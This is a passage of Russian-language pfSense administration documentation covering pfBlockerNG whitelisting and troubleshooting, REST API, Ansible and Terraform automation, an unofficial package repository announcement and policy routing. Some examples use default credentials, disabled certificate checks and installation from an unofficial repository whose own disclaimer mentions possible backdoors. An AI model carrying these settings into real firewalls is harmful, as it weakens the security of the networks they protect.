Для исключения IP-адресов из блокировки используется группа с действием **Permit Inbound** или **Permit Outbound** на вкладке **IP**. Адреса из разрешающих групп имеют приоритет над блокирующими.

### Белый список DNSBL

Белый список доменов настраивается в нескольких местах:

| Метод | Расположение | Описание |
|---|---|---|
| **DNSBL Whitelist** | DNSBL > DNSBL Configuration | Глобальный белый список доменов |
| **Custom Whitelist** | DNSBL > DNSBL Groups | Белый список для конкретной группы |
| **TLD Whitelist** | DNSBL > DNSBL TLD | Исключение доменов верхнего уровня |
| **Wildcard Whitelist** | DNSBL > DNSBL Whitelist | Поддерживает маски `*.domain.com` |

#### Формат записей белого списка

```text
# Точное совпадение домена
example.com

# Домен и все поддомены
.example.com

# Комментарий с описанием
example.com # Корпоративный портал
```

### Рекомендации по белым спискам

При первоначальном развёртывании pfBlockerNG рекомендуется:

1. Включить DNSBL с минимальным набором списков
2. Мониторить журнал блокировок в течение нескольких дней
3. Добавить в белый список домены, необходимые для работы бизнес-приложений
4. Постепенно расширять количество активных списков

Типичные домены для белого списка:

- Домены корпоративных сервисов (Microsoft 365, Google Workspace)
- CDN-провайдеры (Akamai, CloudFront, Cloudflare)
- Сервисы обновлений операционных систем
- Платёжные системы и банковские сервисы

## Пользовательские списки

pfBlockerNG поддерживает создание пользовательских списков IP-адресов и доменов для адаптации фильтрации под конкретные потребности.

### Пользовательские IP-списки

На вкладке **IP** нажать **Add** и заполнить:

1. **Alias Name** - имя списка
2. **List Action** - действие (Deny/Permit)
3. **Source** - выбрать **Custom** и ввести IP-адреса или подсети построчно
4. Сохранить и выполнить **Force Update**

### Пользовательские DNSBL-списки

На вкладке **DNSBL** нажать **Add** и заполнить:

1. **Group Name** - имя группы
2. **DNSBL Source** - выбрать **Custom** и ввести домены построчно
3. **List Action** - Unbound
4. Сохранить и выполнить **Force Update**

## Логирование и мониторинг

### Журналы pfBlockerNG

Журналы доступны через **Firewall > pfBlockerNG > Logs**:

| Журнал | Содержание |
|---|---|
| **DNSBL** | Заблокированные DNS-запросы с указанием клиента и домена |
| **IP Block** | Заблокированные IP-адреса с указанием списка-источника |
| **GeoIP** | Заблокированные соединения по географическому признаку |
| **Error** | Ошибки обновления списков и работы пакета |

### Статистика

Вкладка **Reports** предоставляет статистику работы pfBlockerNG:

- Количество заблокированных запросов по категориям
- Топ заблокированных доменов и IP-адресов
- Топ клиентов по количеству заблокированных запросов
- Графики активности по времени

### Виджет Dashboard

pfBlockerNG добавляет виджет на панель управления pfSense с краткой статистикой блокировок за текущий период.

## Интеграция с файрволом

pfBlockerNG автоматически создаёт алиасы в файрволе pfSense для каждой активной группы IP-блокировки. Эти алиасы видны в **Firewall > Aliases** и могут использоваться в пользовательских правилах.

### Автоматические правила

При выборе действия **Deny Both/Inbound/Outbound** pfBlockerNG автоматически создаёт правила файрвола на вкладке **Floating Rules**. Эти правила обрабатываются до пользовательских правил на интерфейсах.

### Ручное использование алиасов

При выборе действия **Alias Only** создаётся только алиас без автоматического правила. Этот алиас можно использовать в собственных правилах на любом интерфейсе для более гранулярного контроля.

## Диагностика проблем

### DNS-фильтрация не работает

1. Убедиться, что DNSBL включена на вкладке **DNSBL**
2. Проверить, что DNS Resolver (Unbound) является основным DNS-сервисом pfSense (**Services > DNS Resolver**)
3. Убедиться, что клиенты используют pfSense как DNS-сервер
4. Проверить, что Python установлен (требуется для DNSBL в pfBlockerNG-devel)
5. Выполнить принудительное обновление: **Firewall > pfBlockerNG > Update > Force**
6. Проверить журнал ошибок: **Firewall > pfBlockerNG > Logs > Error**

### Ложные срабатывания DNSBL

1. Определить заблокированный домен в журнале **DNSBL**
2. Добавить домен в белый список через **DNSBL Whitelist** или через страницу блокировки
3. При массовых ложных срабатываниях отключить проблемный список
4. Использовать `nslookup` или `dig` для проверки разрешения домена через pfSense

### Высокое потребление памяти

1. Проверить количество записей в активных списках: **Firewall > pfBlockerNG > Logs > Summary**
2. Уменьшить количество активных IP-списков
3. Увеличить размер таблицы файрвола: **System > Advanced > Firewall & NAT > Firewall Maximum Table Entries**
4. При использовании GeoIP проверить, что загружены только необходимые базы
5. Рассмотреть увеличение объёма RAM

### Ошибки обновления списков

1. Проверить доступность DNS: **Diagnostics > DNS Lookup**
2. Проверить маршрутизацию: **Diagnostics > Ping** до адреса источника списка
3. Убедиться, что исходящий HTTPS-трафик (порт 443) не блокируется
4. Проверить, не изменился ли URL источника (источники периодически меняют адреса)
5. Проверить формат списка - некоторые источники меняют формат без предупреждения

### Пакет не работает после обновления pfSense

1. Удалить и переустановить pfBlockerNG через **System > Package Manager**
2. Повторно выполнить настройку через мастер
3. Выполнить **Force Update** для загрузки всех списков
4. Проверить совместимость версии пакета с текущей версией pfSense

## Рекомендации по развёртыванию

### Поэтапное внедрение

1. **Этап 1**: Установить pfBlockerNG с минимальным набором IP-списков (Spamhaus DROP, DShield)
2. **Этап 2**: Включить DNSBL с основными списками вредоносных доменов
3. **Этап 3**: Добавить списки рекламы и трекеров
4. **Этап 4**: Настроить GeoIP-фильтрацию
5. **Этап 5**: Добавить пользовательские списки на основе анализа логов

### Мониторинг после развёртывания

После каждого этапа внедрения необходимо:

- Мониторить журналы блокировок минимум 48 часов
- Проверять работоспособность бизнес-критичных приложений
- Формировать белый список на основе обращений пользователей
- Контролировать потребление ресурсов (RAM, CPU, размер таблиц)

## Отключение и удаление pfBlockerNG

Чтобы отключить pfBlockerNG, не удаляя пакет, откройте **Firewall > pfBlockerNG > General**, снимите флажок **Enable pfBlockerNG** и нажмите **Save**. Пакет перестаёт применять списки, убирает свои правила файрвола и алиасы и прекращает отвечать на запросы DNSBL, при этом все списки, белые списки и настройки сохраняются до момента повторного включения.

При диагностике проблем со связностью начинайте именно с этого. Один шаг изолирует pfBlockerNG как причину, и он полностью обратим - это важно, потому что заблокированная запись в списке и сломанное правило файрвола с клиентской машины выглядят одинаково.

Полное удаление пакета:

1. Включите **Keep Settings** на вкладке **General**, если планируете переустановку
2. Перейдите в **System > Package Manager > Installed Packages**
3. Удалите **pfBlockerNG** (или **pfBlockerNG-devel**)
4. Убедитесь, что в **Firewall > Aliases** не осталось алиасов, созданных pfBlockerNG, а в **Services > DNS Resolver** нет остаточных записей DNSBL в custom options

Если после удаления DNS работает странно, перезапустите службу DNS Resolver: DNSBL работает через Python-модуль Unbound, и резолверу нужен перезапуск, чтобы его выгрузить.

## Альтернативы pfBlockerNG

Прямой замены pfBlockerNG внутри pfSense нет: ни один другой пакет официального репозитория не совмещает репутационные списки IP, фильтрацию по GeoIP и блокировку на уровне DNS. Реальные альтернативы либо покрывают часть этого объёма, либо выносят функцию за пределы файрвола.

**Внутри pfSense:**

- **Suricata** или **Snort** - пакеты IDS/IPS, анализирующие содержимое трафика, а не репутацию IP и DNS. Они дополняют pfBlockerNG, а не заменяют его, и требуют заметно больше CPU и памяти.
- **Списки блокировки в DNS Resolver** - Unbound принимает host overrides и custom options, поэтому небольшой список можно вести вручную вообще без пакетов. Такой подход плохо масштабируется дальше нескольких сотен записей и не даёт ни обновления списков, ни отчётности, ни GeoIP.

**За пределами pfSense:**

- **Pi-hole** или **AdGuard Home** - выделенные DNS-синкхолы на отдельном хосте. По функции DNSBL они не уступают pfBlockerNG и дают лучшую отчётность, но не фильтруют по IP-адресам и странам и добавляют ещё одно устройство в путь отказа каждого DNS-запроса в сети.
- **Zenarmor** - сторонний коммерческий пакет для pfSense с бесплатным тарифом, фильтрация на уровне приложений. В официальный репозиторий пакетов pfSense он не входит, то есть устанавливается и поддерживается вне канала пакетов Netgate.

Отдельно о том, что выбирать не стоит. Для контентной фильтрации в pfSense иногда предлагают Squid, SquidGuard и Lightsquid. Netgate объявила все три устаревшими и в pfSense Plus, и в pfSense CE из-за неисправленных уязвимостей в апстриме, настоятельно рекомендует их удалить и предупреждает, что в будущих мажорных выпусках они работать перестанут.

## Связанные разделы

- [Управление пакетами](/docs/pfsense/packages/pfsense-package-management/) - установка и обновление пакетов pfSense
- [Suricata IDS/IPS](/docs/pfsense/packages/pfsense-suricata/) - анализ содержимого трафика в дополнение к репутационной фильтрации pfBlockerNG
- [DNS в pfSense](/docs/pfsense/services/pfsense-dns/) - настройка DNS Resolver (Unbound), необходимого для работы DNSBL
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - взаимодействие правил файрвола с алиасами pfBlockerNG
- [Алиасы файрвола](/docs/pfsense/firewall/pfsense-firewall-aliases/) - использование алиасов pfBlockerNG в пользовательских правилах


---

# pfSense API и автоматизация управления

Source: https://opennix.org/docs/pfsense/development/pfsense-api-automation/


REST API превращает pfSense из автономного межсетевого экрана в программно управляемый компонент инфраструктуры. Вместо ручной настройки через веб-интерфейс администратор получает возможность выполнять операции через HTTP-запросы, интегрировать pfSense в системы оркестрации и реализовывать подход Infrastructure as Code. Это критически важно в средах с десятками устройств, где ручная настройка каждого файрвола нецелесообразна.

## Пакет pfSense REST API

pfSense не имеет встроенного REST API. Для программного доступа используется community-пакет [pfSense-api](https://github.com/jaredhendrickson13/pfsense-api), который добавляет более 200 эндпоинтов для управления системой.

### Установка

Пакет устанавливается из командной строки pfSense:

```bash
pkg-static add https://github.com/jaredhendrickson13/pfsense-api/releases/latest/download/pfSense-2.7.2-pkg-RESTAPI.pkg
```

После установки настройки API доступны через **System > REST API** в веб-интерфейсе.

### Аутентификация

API поддерживает три метода аутентификации:

| Метод | Заголовок | Срок действия | Рекомендация |
|---|---|---|---|
| Basic Auth | `Authorization: Basic <base64>` | Постоянный | Только для тестирования |
| API Key | `X-API-Key: <key>` | Постоянный | Скрипты и автоматизация |
| JWT | `Authorization: Bearer <token>` | Ограниченный | Интерактивные приложения |

#### Получение JWT-токена

```bash
curl -X POST -H "Content-Type: application/json" \
  -u admin:pfsense \
  https://pfsense.example.com/api/v2/auth/jwt
```

Ответ содержит токен, который затем передается в заголовке:

```bash
curl -H "Authorization: Bearer <token>" \
  https://pfsense.example.com/api/v2/firewall/rules
```

#### Аутентификация по API-ключу

API-ключи создаются в веб-интерфейсе (**System > REST API > Settings**) и привязываются к учетной записи пользователя. Привилегии ключа наследуются от учетной записи.

```bash
curl -H "X-API-Key: <your-api-key>" \
  https://pfsense.example.com/api/v2/system/info
```

## Обзор эндпоинтов API

### Системная информация

```bash
# Получение информации о системе
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/system/info

# Статус версии и обновлений
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/system/version
```

### Правила файрвола

```bash
# Получение списка правил
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/firewall/rules

# Создание нового правила
curl -X POST -H "Content-Type: application/json" \
  -H "X-API-Key: <key>" \
  -d '{
    "type": "pass",
    "interface": "wan",
    "ipprotocol": "inet",
    "protocol": "tcp",
    "source": "any",
    "destination": "any",
    "dstport": "443",
    "descr": "Allow HTTPS inbound"
  }' \
  https://pfsense.example.com/api/v2/firewall/rules

# Применение изменений (обязательно после модификации правил)
curl -X POST -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/firewall/apply
```

### Управление интерфейсами

```bash
# Список сетевых интерфейсов
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/interface

# Обновление конфигурации интерфейса
curl -X PUT -H "Content-Type: application/json" \
  -H "X-API-Key: <key>" \
  -d '{"if": "em1", "descr": "DMZ", "enable": true}' \
  https://pfsense.example.com/api/v2/interface
```

### Управление VPN

```bash
# Список OpenVPN-серверов
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/vpn/openvpn/server

# Список IPsec-туннелей
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/vpn/ipsec/phase1
```

## Автоматизация с Ansible

Коллекция [pfsensible.core](https://galaxy.ansible.com/pfsensible/core) предоставляет модули для декларативного управления pfSense через Ansible. Коллекция взаимодействует с pfSense через xmlrpc и PHP-интерфейс, не требуя установки дополнительных пакетов.

### Установка коллекции

```bash
ansible-galaxy collection install pfsensible.core
```

### Пример плейбука

```yaml
- name: Configure pfSense firewall
  hosts: pfsense_firewalls
  gather_facts: false
  collections:
    - pfsensible.core

  tasks:
    - name: Create alias for web servers
      pfsense_alias:
        name: web_servers
        type: host
        address: "10.0.1.10 10.0.1.11 10.0.1.12"
        descr: "Production web servers"
        state: present

    - name: Allow HTTPS to web servers
      pfsense_rule:
        name: "Allow HTTPS to web servers"
        interface: WAN
        action: pass
        protocol: tcp
        source: any
        destination: web_servers
        destination_port: 443
        state: present

    - name: Configure DNS resolver
      pfsense_dns_resolver:
        enable: true
        dnssec: true
        forwarding: true
```

### Настройка inventory

```ini
[pfsense_firewalls]
fw01 ansible_host=192.168.1.1

[pfsense_firewalls:vars]
ansible_connection=httpapi
ansible_httpapi_use_ssl=true
ansible_httpapi_validate_certs=false
ansible_user=admin
ansible_password=pfsense
ansible_network_os=pfsensible.core.pfsense
```

## Автоматизация с Terraform

Неофициальный [Terraform-провайдер для pfSense](https://registry.terraform.io/providers/sjafferern/pfsense/) позволяет управлять конфигурацией через декларативные HCL-файлы.

```hcl
terraform {
  required_providers {
    pfsense = {
      source  = "sjafferern/pfsense"
      version = "~> 0.1"
    }
  }
}

provider "pfsense" {
  url      = "https://192.168.1.1"
  user     = "admin"
  password = var.pfsense_password
  insecure = true
}

resource "pfsense_firewall_alias" "blocked_countries" {
  name        = "blocked_countries"
  type        = "network"
  description = "Blocked country subnets"
  entries     = ["10.99.0.0/16", "10.98.0.0/16"]
}
```

Провайдер находится на ранней стадии разработки. Перед использованием в рабочей среде рекомендуется тщательное тестирование.

## PHP Shell для программного доступа

pfSense включает PHP-оболочку разработчика, доступную через консоль (опция 12) или SSH. Оболочка позволяет напрямую читать и изменять конфигурацию системы.

### Доступ к PHP Shell

```text
Enter an option: 12

Starting the pfSense developer shell....
pfSense shell:
```

### Типовые операции

```php
// Чтение текущей конфигурации
parse_config(true);
print_r($config['interfaces']);
exec

// Изменение конфигурации
$config['system']['hostname'] = "fw-prod-01";
write_config("Updated hostname via PHP shell");
exec
```

### Playback-скрипты

Предопределенные скрипты для типовых задач запускаются из командной строки:

```bash
# Из SSH или консольного shell
pfSsh.php playback enablesshd
pfSsh.php playback changepassword
pfSsh.php playback installpkg "Some Package"
pfSsh.php playback listpkg
```

## xmlrpc для управления конфигурацией

pfSense использует xmlrpc для синхронизации конфигурации между узлами в кластере высокой доступности (CARP). Этот же механизм может использоваться для программного чтения и записи конфигурации.

xmlrpc доступен по адресу `https://<pfsense-ip>/xmlrpc.php` и принимает стандартные XML-RPC вызовы с Basic-аутентификацией.

Коллекция pfsensible.core использует xmlrpc как основной транспорт для взаимодействия с pfSense.

## Резервное копирование через API

REST API позволяет автоматизировать создание резервных копий конфигурации:

```bash
# Скачивание конфигурации через API
curl -H "X-API-Key: <key>" \
  https://pfsense.example.com/api/v2/system/config \
  -o config-backup-$(date +%Y%m%d).xml
```

### Скрипт автоматического бэкапа

```bash
#!/bin/sh
# Ежедневный бэкап конфигурации pfSense через API
PFSENSE_HOST="https://192.168.1.1"
API_KEY="your-api-key"
BACKUP_DIR="/backups/pfsense"
DATE=$(date +%Y%m%d-%H%M)

curl -sk -H "X-API-Key: ${API_KEY}" \
  "${PFSENSE_HOST}/api/v2/system/config" \
  -o "${BACKUP_DIR}/config-${DATE}.xml"

# Удаление бэкапов старше 30 дней
find "${BACKUP_DIR}" -name "config-*.xml" -mtime +30 -delete
```

## Сценарии использования

### Массовое развертывание

При развертывании нескольких устройств pfSense Ansible-плейбук применяет единую конфигурацию ко всем узлам. Типичный сценарий:

1. Базовая установка pfSense на каждое устройство
2. Настройка SSH-доступа и учетных данных
3. Применение плейбука с общими правилами файрвола, VPN-конфигурацией и DNS-настройками
4. Применение device-specific переменных (IP-адреса, имена хостов)

### CI/CD для правил файрвола

Правила файрвола хранятся в Git-репозитории как YAML-файлы. При merge в основную ветку CI-пайплайн применяет изменения через API или Ansible:

```yaml
# .gitlab-ci.yml
deploy_firewall_rules:
  stage: deploy
  script:
    - ansible-playbook -i inventory/production firewall-rules.yml
  only:
    - main
  when: manual
```

### Автоматизированное тестирование

После применения изменений автоматические проверки верифицируют корректность конфигурации:

```bash
# Проверка доступности после изменения правил
curl -sf -o /dev/null https://pfsense.example.com/api/v2/system/info \
  -H "X-API-Key: <key>" && echo "API accessible" || echo "API unreachable"
```

## Устранение неполадок

| Проблема | Причина | Решение |
|---|---|---|
| 401 Unauthorized | Неверные учетные данные или истекший JWT | Проверить ключ API или запросить новый токен |
| 403 Forbidden | Недостаточно привилегий у пользователя API | Назначить необходимые привилегии в **System > User Manager** |
| Connection refused на порту API | Пакет REST API не установлен или не запущен | Проверить установку пакета и статус сервиса |
| Изменения не применяются | Не вызван `/api/v2/firewall/apply` | Выполнить apply после модификации правил |
| xmlrpc timeout | Слишком большой config.xml или сетевые проблемы | Увеличить таймаут, проверить сетевую связность |
| Ansible-модуль не находит pfSense | Неверный `ansible_network_os` | Указать `pfsensible.core.pfsense` |

## Связанные разделы

- [Пользовательские скрипты pfSense](/docs/pfsense/development/pfsense-custom-scripts/) - shellcmd, cron-задачи и PHP-скрипты для локальной автоматизации
- [Резервное копирование pfSense](/docs/pfsense/backup/pfsense-backup-recovery/) - ручные и автоматические бэкапы конфигурации
- [Высокая доступность pfSense](/docs/pfsense/high-availability/) - xmlrpc-синхронизация конфигурации между узлами CARP-кластера


---

# pfSense пакеты и ISO-образы

Source: https://opennix.org/docs/pfsense/pfsense-packages/


Сегодня было принято решение, открыть в публичный доступ наш репозиторий пакетов для PfSense v2.7.2

**Отказ от ответственности**

>>Данное программное обеспечение предоставляется "как есть", без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, подразумеваемыми гарантиями товарной пригодности, пригодности для конкретной цели и отсутствия нарушений прав третьих лиц. Авторы, владельцы и участники разработки данного программного обеспечения не несут ответственности за любые убытки, ущерб или последствия, которые могут возникнуть в результате его использования, включая, но не ограничиваясь, прямыми, косвенными, случайными, особыми или последующими убытками, потерей данных или прибыли, либо прерыванием деловой активности, даже если было сообщено о возможности таких убытков.
>>
>>Пользователь использует программное обеспечение на свой страх и риск.

Если вы беспокоитесь о наличии бэкдоров, вирусов или любых других скрытых уязвимостей, не используйте данный репозиторий! 

Мы не несем никакой ответственности, и доступ к программному обеспечению предоставляется "как есть" на безвозмездной основе.

### Добавление репозитория

1. Подключитесь по ssh к вашему pfSense
2. Создайте файл `/usr/local/etc/pkg/repos/opennix.conf`
3. добавьте репозиторий
```text

opennix: {
    url: "https://repo.opennix.org/pfsense/pfSense_v2_7_2",
    mirror_type: "none",
    enabled: yes
}

```
Теперь вы можете устанавливать пакеты из нашего репозитория

## Полезные ссылки

[PfSense repository mirror](https://pfsense.nationalcdn.ru/)

[PfSense ISOs](https://pfsense-isos.nationalcdn.ru/)



---

# Policy Routing в pfSense - маршрутизация по правилам

Source: https://opennix.org/docs/pfsense/routing/pfsense-policy-routing/


Policy-based routing (PBR) в [pfSense](/docs/pfsense/glossary/pfsense-terms/) позволяет направлять трафик через определённый шлюз на основе критериев, выходящих за рамки адреса назначения. В отличие от классической маршрутизации, где путь пакета определяется исключительно таблицей маршрутов и адресом назначения, PBR учитывает адрес источника, порт назначения, протокол и другие параметры, указанные в правилах файрвола.

pfSense реализует PBR через поле **Gateway** в правилах файрвола. Каждое правило, в котором явно указан шлюз, переопределяет стандартную таблицу маршрутизации для совпавшего трафика. Это позволяет гибко управлять путями прохождения пакетов без изменения глобальной конфигурации маршрутов.

## Принцип работы

При поступлении пакета pfSense последовательно обрабатывает правила файрвола на входном интерфейсе. Если пакет совпадает с правилом, в котором указан конкретный шлюз, pfSense направляет пакет через этот шлюз, игнорируя стандартную таблицу маршрутизации. Если шлюз не указан (значение **Default** в поле Gateway), пакет маршрутизируется обычным способом.

Порядок обработки:

1. Пакет поступает на интерфейс pfSense.
2. Выполняется NAT-трансляция (если применимо).
3. Пакет сопоставляется с правилами файрвола сверху вниз.
4. При совпадении с правилом, содержащим явный шлюз, пакет направляется через указанный шлюз.
5. При совпадении с правилом без явного шлюза или при отсутствии совпадений используется стандартная таблица маршрутизации.

> **Внимание**:
>
> Policy routing применяется только к трафику, проходящему через pfSense (forwarded traffic). Трафик, генерируемый самим pfSense (DNS-запросы, обновления пакетов, NTP-синхронизация), всегда использует стандартную таблицу маршрутизации и шлюз по умолчанию. Для управления исходящим трафиком самого файрвола следует изменить шлюз по умолчанию в **System > Routing > Gateways**.

## Поле Gateway в правилах файрвола

Поле **Gateway** расположено в расширенных настройках правила файрвола (секция **Advanced Options** при создании или редактировании правила). По умолчанию установлено значение **Default**, что означает использование стандартной таблицы маршрутизации.

Доступные варианты:

| Значение | Поведение |
|---|---|
| Default | Стандартная маршрутизация по таблице |
| Конкретный шлюз (например, WAN_DHCP) | Трафик направляется через указанный шлюз |
| Gateway Group (например, MULTI_WAN_FAILOVER) | Трафик направляется через группу шлюзов с учётом приоритетов и балансировки |

При выборе конкретного шлюза или Gateway Group pfSense создаёт в pf (packet filter) правило с директивой `route-to`, принудительно направляющей пакет через указанный интерфейс и шлюз.

## Сценарии применения

### Маршрутизация определённых хостов через конкретный WAN

Задача: направить весь трафик бухгалтерии (подсеть 10.0.1.0/24) через WAN1, а трафик разработчиков (подсеть 10.0.2.0/24) через WAN2.

Конфигурация предполагает наличие двух WAN-интерфейсов с настроенными шлюзами (WAN1_GW и WAN2_GW).

**Правило 1** (на интерфейсе LAN):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | LAN |
| Protocol | Any |
| Source | 10.0.1.0/24 |
| Destination | Any |
| Gateway | WAN1_GW |
| Description | Accounting traffic via WAN1 |

**Правило 2** (на интерфейсе LAN):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | LAN |
| Protocol | Any |
| Source | 10.0.2.0/24 |
| Destination | Any |
| Gateway | WAN2_GW |
| Description | Developers traffic via WAN2 |

Порядок правил имеет значение: правила с явным шлюзом должны располагаться выше общего правила разрешения трафика (pass any). В противном случае трафик совпадёт с общим правилом и пойдёт через шлюз по умолчанию.

### Направление VoIP через низколатентный канал

Задача: направить SIP и RTP-трафик через WAN-канал с минимальной задержкой (WAN2), а остальной трафик - через основной канал (WAN1).

**Правило для SIP** (на интерфейсе LAN):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | LAN |
| Protocol | UDP |
| Source | VoIP_Phones (алиас) |
| Destination | Any |
| Destination Port | 5060-5061 |
| Gateway | WAN2_LOW_LATENCY |
| Description | SIP signaling via low-latency WAN |

**Правило для RTP** (на интерфейсе LAN):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | LAN |
| Protocol | UDP |
| Source | VoIP_Phones (алиас) |
| Destination | Any |
| Destination Port | 10000-20000 |
| Gateway | WAN2_LOW_LATENCY |
| Description | RTP media via low-latency WAN |

Для упрощения администрирования рекомендуется создать алиас `VoIP_Phones`, содержащий IP-адреса или подсеть VoIP-оборудования.

### Принудительная маршрутизация гостевой сети

Задача: весь трафик гостевой сети (интерфейс OPT1, подсеть 10.0.100.0/24) направлять через отдельного провайдера (WAN2), изолируя его от основного канала.

**Правило** (на интерфейсе OPT1):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | OPT1 (Guest) |
| Protocol | Any |
| Source | OPT1 net |
| Destination | Any |
| Gateway | WAN2_GUEST_ISP |
| Description | Guest network via dedicated ISP |

Дополнительно рекомендуется создать правила, блокирующие доступ гостевой сети к внутренним подсетям (LAN, серверные VLAN).

### Маршрутизация по протоколу и порту назначения

Задача: направить весь HTTPS-трафик (порт 443) через WAN-канал с неограниченным объёмом, а остальной трафик через основной канал с лимитированным трафиком.

**Правило для HTTPS** (на интерфейсе LAN):

| Параметр | Значение |
|---|---|
| Action | Pass |
| Interface | LAN |
| Protocol | TCP |
| Source | LAN net |
| Destination | Any |
| Destination Port | 443 |
| Gateway | WAN2_UNLIMITED |
| Description | HTTPS traffic via unlimited WAN |

## Создание policy route пошагово

Пошаговая инструкция по созданию policy route для направления трафика определённой подсети через конкретный шлюз.

### Шаг 1: проверка шлюзов

Открыть **System > Routing > Gateways** и убедиться, что целевой шлюз существует и имеет статус Online. Если шлюз отсутствует, создать его, указав интерфейс, IP-адрес и параметры мониторинга.

### Шаг 2: создание алиасов (при необходимости)

Если policy route применяется к группе хостов или портов, следует предварительно создать алиасы в разделе **Firewall > Aliases**. Алиасы упрощают управление и повышают читаемость правил.

Пример алиаса для хостов:

| Поле | Значение |
|---|---|
| Name | ACCOUNTING_HOSTS |
| Type | Host(s) |
| Entries | 10.0.1.10, 10.0.1.11, 10.0.1.12 |
| Description | Accounting department workstations |

### Шаг 3: создание правила файрвола

Открыть **Firewall > Rules** на интерфейсе, через который поступает трафик от источника. Нажать **Add** (стрелка вверх для добавления в начало списка).

Заполнить основные параметры правила:

1. **Action**: Pass
2. **Interface**: интерфейс источника трафика
3. **Address Family**: IPv4 (или IPv4+IPv6 при необходимости)
4. **Protocol**: Any (или конкретный протокол)
5. **Source**: адрес или алиас источника
6. **Destination**: Any (или конкретная сеть)

### Шаг 4: указание шлюза

В секции **Advanced Options** (кнопка **Display Advanced**) найти поле **Gateway**. Выбрать целевой шлюз или Gateway Group из выпадающего списка.

### Шаг 5: размещение правила

Переместить правило выше общего правила разрешения (pass any). Правила файрвола обрабатываются сверху вниз, и первое совпадение определяет обработку пакета. Если общее правило расположено выше policy route, трафик совпадёт с общим правилом и пойдёт через шлюз по умолчанию.

### Шаг 6: применение и проверка

Нажать **Save**, затем **Apply Changes**. Для проверки выполнить traceroute с хоста-источника к внешнему адресу и убедиться, что трафик проходит через ожидаемый шлюз.

## Взаимодействие с Gateway Groups

Gateway Groups добавляют дополнительный уровень гибкости к policy routing. Вместо указания одного шлюза в правиле файрвола можно выбрать группу, обеспечивающую отказоустойчивость или балансировку нагрузки.

### Создание Gateway Group

Gateway Groups настраиваются в разделе **System > Routing > Gateway Groups**. Для создания группы следует нажать **Add**.

**Group Name** - уникальное имя группы. Используется при выборе шлюза в правилах файрвола.

**Gateway Priority** - для каждого шлюза указывается приоритет (Tier 1-5) и триггер переключения:

| Tier | Поведение |
|---|---|
| Tier 1 | Шлюзы с наивысшим приоритетом. Используются при нормальной работе |
| Tier 2 | Активируются при отказе всех шлюзов Tier 1 |
| Tier 3-5 | Активируются последовательно при отказе предыдущих уровней |
| Never | Шлюз исключён из группы |

**Trigger Level** - событие, вызывающее переключение:

| Триггер | Описание |
|---|---|
| Member Down | Переключение при полной недоступности шлюза |
| Packet Loss | Переключение при превышении порога потери пакетов |
| High Latency | Переключение при превышении порога задержки |
| Packet Loss or High Latency | Переключение при любом из условий |

### Сценарий: Failover

Создание группы для отказоустойчивости с автоматическим переключением на резервный канал:

| Шлюз | Tier | Trigger |
|---|---|---|
| WAN1_GW | Tier 1 | Packet Loss or High Latency |
| WAN2_GW | Tier 2 | Packet Loss or High Latency |

При нормальной работе весь трафик идёт через WAN1. При потере пакетов или превышении задержки на WAN1 трафик автоматически переключается на WAN2.

### Сценарий: балансировка нагрузки

Создание группы для распределения трафика между двумя каналами:

| Шлюз | Tier | Weight | Trigger |
|---|---|---|---|
| WAN1_GW | Tier 1 | 5 | Packet Loss or High Latency |
| WAN2_GW | Tier 1 | 3 | Packet Loss or High Latency |

Оба шлюза находятся в Tier 1, поэтому используются одновременно. Вес определяет пропорцию распределения: WAN1 получает примерно 62% трафика (5/8), WAN2 - 38% (3/8). При отказе одного из шлюзов весь трафик направляется через оставшийся.

### Сценарий: Failover с балансировкой

Комбинация двух подходов: два основных канала с балансировкой и резервный канал:

| Шлюз | Tier | Weight | Trigger |
|---|---|---|---|
| WAN1_GW | Tier 1 | 5 | Packet Loss or High Latency |
| WAN2_GW | Tier 1 | 5 | Packet Loss or High Latency |
| WAN3_GW | Tier 2 | 1 | Member Down |

При нормальной работе трафик распределяется между WAN1 и WAN2. При отказе обоих каналов Tier 1 трафик переключается на WAN3.

### Использование Gateway Group в правиле файрвола

После создания Gateway Group она становится доступной в поле **Gateway** правила файрвола наряду с индивидуальными шлюзами. Выбор группы вместо конкретного шлюза обеспечивает автоматическое переключение без ручного вмешательства.

## Особенности и ограничения

### Взаимодействие с NAT

Policy routing применяется после входящего NAT (DNAT), но до исходящего NAT (SNAT). Это означает:

- Для входящего трафика (port forward, 1:1 NAT) policy routing работает с уже транслированным адресом назначения.
- Для исходящего трафика policy routing определяет интерфейс выхода, что влияет на выбор адреса исходящего NAT.

При использовании PBR с несколькими WAN-интерфейсами необходимо убедиться, что правила исходящего NAT корректно настроены для каждого WAN. В режиме **Automatic Outbound NAT** pfSense автоматически создаёт правила для всех WAN-интерфейсов. В режиме **Manual Outbound NAT** правила необходимо создавать вручную для каждого интерфейса.

### Трафик, генерируемый pfSense

Policy routing не влияет на трафик, генерируемый самим файрволом. DNS-запросы, обновления пакетов, NTP-синхронизация и другие служебные соединения pfSense всегда используют шлюз по умолчанию. Для изменения исходящего маршрута служебного трафика необходимо изменить шлюз по умолчанию в **System > Routing > Gateways**.

### Floating Rules и policy routing

Floating rules (плавающие правила) в pfSense также поддерживают поле Gateway. Floating rules обрабатываются до правил на конкретных интерфейсах, что позволяет создавать глобальные политики маршрутизации, действующие на нескольких интерфейсах одновременно.

Для активации policy routing в floating rule необходимо установить направление (Direction) в значение **In** или **Any**. При направлении **Out** поле Gateway игнорируется.

### Sticky Connections

При использовании Gateway Groups для балансировки нагрузки pfSense по умолчанию может распределять пакеты одного соединения по разным шлюзам, что нарушает работу некоторых протоколов и веб-сервисов.

Для решения этой проблемы следует включить опцию **Sticky Connections** в разделе **System > Advanced > Miscellaneous**. Эта настройка привязывает все соединения от одного источника к одному шлюзу на определённый период времени.

## Диагностика и устранение неполадок

